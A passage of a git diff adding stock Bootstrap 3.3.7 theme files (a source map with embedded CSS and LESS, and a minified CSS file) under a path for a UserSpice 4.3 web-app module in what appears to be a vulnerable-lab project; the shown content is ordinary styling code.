0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.list-group {\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075);\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 #286090;\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2b669a 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2b669a 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);\n border-color: #2b669a;\n}\n.list-group-item.active .badge,\n.list-group-item.active:hover .badge,\n.list-group-item.active:focus .badge {\n text-shadow: none;\n}\n.panel {\n -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n.panel-default > .panel-heading {\n background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%);\n background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);\n}\n.panel-primary > .panel-heading {\n background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%);\n background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);\n}\n.panel-success > .panel-heading {\n background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n background-image: -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%);\n background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);\n}\n.panel-info > .panel-heading {\n background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n background-image: -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%);\n background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);\n}\n.panel-warning > .panel-heading {\n background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n background-image: -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%);\n background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);\n}\n.panel-danger > .panel-heading {\n background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n background-image: -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%);\n background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);\n}\n.well {\n background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n background-image: -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);\n border-color: #dcdcdc;\n -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1);\n box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1);\n}\n/*# sourceMappingURL=bootstrap-theme.css.map */","/*!\n * Bootstrap v3.3.7 (http://getbootstrap.com)\n * Copyright 2011-2016 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\n//\n// Load core variables and mixins\n// --------------------------------------------------\n\n@import \"variables.less\";\n@import \"mixins.less\";\n\n\n//\n// Buttons\n// --------------------------------------------------\n\n// Common styles\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n text-shadow: 0 -1px 0 rgba(0,0,0,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 1px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n // Reset the shadow\n &:active,\n &.active {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n .box-shadow(none);\n }\n\n .badge {\n text-shadow: none;\n }\n}\n\n// Mixin for generating new styles\n.btn-styles(@btn-color: #555) {\n #gradient > .vertical(@start-color: @btn-color; @end-color: darken(@btn-color, 12%));\n .reset-filter(); // Disable gradients for IE9 because filter bleeds through rounded corners; see https://github.com/twbs/bootstrap/issues/10620\n background-repeat: repeat-x;\n border-color: darken(@btn-color, 14%);\n\n &:hover,\n &:focus {\n background-color: darken(@btn-color, 12%);\n background-position: 0 -15px;\n }\n\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n border-color: darken(@btn-color, 14%);\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &,\n &:hover,\n &:focus,\n &.focus,\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n background-image: none;\n }\n }\n}\n\n// Common styles\n.btn {\n // Remove the gradient for the pressed/active state\n &:active,\n &.active {\n background-image: none;\n }\n}\n\n// Apply the mixin to the buttons\n.btn-default { .btn-styles(@btn-default-bg); text-shadow: 0 1px 0 #fff; border-color: #ccc; }\n.btn-primary { .btn-styles(@btn-primary-bg); }\n.btn-success { .btn-styles(@btn-success-bg); }\n.btn-info { .btn-styles(@btn-info-bg); }\n.btn-warning { .btn-styles(@btn-warning-bg); }\n.btn-danger { .btn-styles(@btn-danger-bg); }\n\n\n//\n// Images\n// --------------------------------------------------\n\n.thumbnail,\n.img-thumbnail {\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n\n\n//\n// Dropdowns\n// --------------------------------------------------\n\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-hover-bg; @end-color: darken(@dropdown-link-hover-bg, 5%));\n background-color: darken(@dropdown-link-hover-bg, 5%);\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n background-color: darken(@dropdown-link-active-bg, 5%);\n}\n\n\n//\n// Navbar\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n #gradient > .vertical(@start-color: lighten(@navbar-default-bg, 10%); @end-color: @navbar-default-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered\n border-radius: @navbar-border-radius;\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 5px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: darken(@navbar-default-link-active-bg, 5%); @end-color: darken(@navbar-default-link-active-bg, 2%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.075));\n }\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255,255,255,.25);\n}\n\n// Inverted navbar\n.navbar-inverse {\n #gradient > .vertical(@start-color: lighten(@navbar-inverse-bg, 10%); @end-color: @navbar-inverse-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered; see https://github.com/twbs/bootstrap/issues/10257\n border-radius: @navbar-border-radius;\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: @navbar-inverse-link-active-bg; @end-color: lighten(@navbar-inverse-link-active-bg, 2.5%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.25));\n }\n\n .navbar-brand,\n .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0,0,0,.25);\n }\n}\n\n// Undo rounded corners in static and fixed navbars\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n\n// Fix active state of dropdown items in collapsed mode\n@media (max-width: @grid-float-breakpoint-max) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: #fff;\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n }\n }\n}\n\n\n//\n// Alerts\n// --------------------------------------------------\n\n// Common styles\n.alert {\n text-shadow: 0 1px 0 rgba(255,255,255,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.25), 0 1px 2px rgba(0,0,0,.05);\n .box-shadow(@shadow);\n}\n\n// Mixin for generating new styles\n.alert-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 7.5%));\n border-color: darken(@color, 15%);\n}\n\n// Apply the mixin to the alerts\n.alert-success { .alert-styles(@alert-success-bg); }\n.alert-info { .alert-styles(@alert-info-bg); }\n.alert-warning { .alert-styles(@alert-warning-bg); }\n.alert-danger { .alert-styles(@alert-danger-bg); }\n\n\n//\n// Progress bars\n// --------------------------------------------------\n\n// Give the progress background some depth\n.progress {\n #gradient > .vertical(@start-color: darken(@progress-bg, 4%); @end-color: @progress-bg)\n}\n\n// Mixin for generating new styles\n.progress-bar-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 10%));\n}\n\n// Apply the mixin to the progress bars\n.progress-bar { .progress-bar-styles(@progress-bar-bg); }\n.progress-bar-success { .progress-bar-styles(@progress-bar-success-bg); }\n.progress-bar-info { .progress-bar-styles(@progress-bar-info-bg); }\n.progress-bar-warning { .progress-bar-styles(@progress-bar-warning-bg); }\n.progress-bar-danger { .progress-bar-styles(@progress-bar-danger-bg); }\n\n// Reset the striped class because our mixins don't do multiple gradients and\n// the above custom styles override the new `.progress-bar-striped` in v3.2.0.\n.progress-bar-striped {\n #gradient > .striped();\n}\n\n\n//\n// List groups\n// --------------------------------------------------\n\n.list-group {\n border-radius: @border-radius-base;\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 darken(@list-group-active-bg, 10%);\n #gradient > .vertical(@start-color: @list-group-active-bg; @end-color: darken(@list-group-active-bg, 7.5%));\n border-color: darken(@list-group-active-border, 7.5%);\n\n .badge {\n text-shadow: none;\n }\n}\n\n\n//\n// Panels\n// --------------------------------------------------\n\n// Common styles\n.panel {\n .box-shadow(0 1px 2px rgba(0,0,0,.05));\n}\n\n// Mixin for generating new styles\n.panel-heading-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 5%));\n}\n\n// Apply the mixin to the panel headings only\n.panel-default > .panel-heading { .panel-heading-styles(@panel-default-heading-bg); }\n.panel-primary > .panel-heading { .panel-heading-styles(@panel-primary-heading-bg); }\n.panel-success > .panel-heading { .panel-heading-styles(@panel-success-heading-bg); }\n.panel-info > .panel-heading { .panel-heading-styles(@panel-info-heading-bg); }\n.panel-warning > .panel-heading { .panel-heading-styles(@panel-warning-heading-bg); }\n.panel-danger > .panel-heading { .panel-heading-styles(@panel-danger-heading-bg); }\n\n\n//\n// Wells\n// --------------------------------------------------\n\n.well {\n #gradient > .vertical(@start-color: darken(@well-bg, 5%); @end-color: @well-bg);\n border-color: darken(@well-bg, 10%);\n @shadow: inset 0 1px 3px rgba(0,0,0,.05), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They have been removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility) {\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n"]} \ No newline at end of file diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.min.css b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.min.css new file mode 100644 index 000000000..5e3940195 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.min.css @@ -0,0 +1,6 @@ +/*! + * Bootstrap v3.3.7 (http://getbootstrap.com) + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */.btn-danger,.btn-default,.btn-info,.btn-primary,.btn-success,.btn-warning{text-shadow:0 -1px 0 rgba(0,0,0,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075)}.btn-danger.active,.btn-danger:active,.btn-default.active,.btn-default:active,.btn-info.active,.btn-info:active,.btn-primary.active,.btn-primary:active,.btn-success.active,.btn-success:active,.btn-warning.active,.btn-warning:active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-danger.disabled,.btn-danger[disabled],.btn-default.disabled,.btn-default[disabled],.btn-info.disabled,.btn-info[disabled],.btn-primary.disabled,.btn-primary[disabled],.btn-success.disabled,.btn-success[disabled],.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-danger,fieldset[disabled] .btn-default,fieldset[disabled] .btn-info,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-success,fieldset[disabled] .btn-warning{-webkit-box-shadow:none;box-shadow:none}.btn-danger .badge,.btn-default .badge,.btn-info .badge,.btn-primary .badge,.btn-success .badge,.btn-warning .badge{text-shadow:none}.btn.active,.btn:active{background-image:none}.btn-default{text-shadow:0 1px 0 #fff;background-image:-webkit-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-o-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e0e0e0));background-image:linear-gradient(to bottom,#fff 0,#e0e0e0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#dbdbdb;border-color:#ccc}.btn-default:focus,.btn-default:hover{background-color:#e0e0e0;background-position:0 -15px}.btn-default.active,.btn-default:active{background-color:#e0e0e0;border-color:#dbdbdb}.btn-default.disabled,.btn-default.disabled.active,.btn-default.disabled.focus,.btn-default.disabled:active,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled],.btn-default[disabled].active,.btn-default[disabled].focus,.btn-default[disabled]:active,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default,fieldset[disabled] .btn-default.active,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:active,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#e0e0e0;background-image:none}.btn-primary{background-image:-webkit-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-o-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#265a88));background-image:linear-gradient(to bottom,#337ab7 0,#265a88 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#245580}.btn-primary:focus,.btn-primary:hover{background-color:#265a88;background-position:0 -15px}.btn-primary.active,.btn-primary:active{background-color:#265a88;border-color:#245580}.btn-primary.disabled,.btn-primary.disabled.active,.btn-primary.disabled.focus,.btn-primary.disabled:active,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled],.btn-primary[disabled].active,.btn-primary[disabled].focus,.btn-primary[disabled]:active,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-primary.active,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:active,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#265a88;background-image:none}.btn-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#419641));background-image:linear-gradient(to bottom,#5cb85c 0,#419641 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#3e8f3e}.btn-success:focus,.btn-success:hover{background-color:#419641;background-position:0 -15px}.btn-success.active,.btn-success:active{background-color:#419641;border-color:#3e8f3e}.btn-success.disabled,.btn-success.disabled.active,.btn-success.disabled.focus,.btn-success.disabled:active,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled],.btn-success[disabled].active,.btn-success[disabled].focus,.btn-success[disabled]:active,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success,fieldset[disabled] .btn-success.active,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:active,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#419641;background-image:none}.btn-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#2aabd2));background-image:linear-gradient(to bottom,#5bc0de 0,#2aabd2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#28a4c9}.btn-info:focus,.btn-info:hover{background-color:#2aabd2;background-position:0 -15px}.btn-info.active,.btn-info:active{background-color:#2aabd2;border-color:#28a4c9}.btn-info.disabled,.btn-info.disabled.active,.btn-info.disabled.focus,.btn-info.disabled:active,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled],.btn-info[disabled].active,.btn-info[disabled].focus,.btn-info[disabled]:active,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info,fieldset[disabled] .btn-info.active,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:active,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#2aabd2;background-image:none}.btn-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#eb9316));background-image:linear-gradient(to bottom,#f0ad4e 0,#eb9316 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', 